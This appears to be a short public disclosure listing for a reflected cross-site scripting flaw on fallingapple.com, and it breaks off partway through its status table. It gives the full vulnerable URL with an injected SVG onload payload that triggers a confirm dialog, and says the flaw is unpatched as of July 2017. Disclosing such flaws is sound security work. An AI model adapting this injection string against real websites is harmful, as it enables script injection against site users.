fallingapple.com XSS vulnerability

Vulnerable URL: http://www.fallingapple.com/Index.pl?Forum,returndata=1%22--!%3E%3CSvg/Onload=confirm%27OPENBUGBOUNTY%27%3E%22==announce=viewforum Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclose...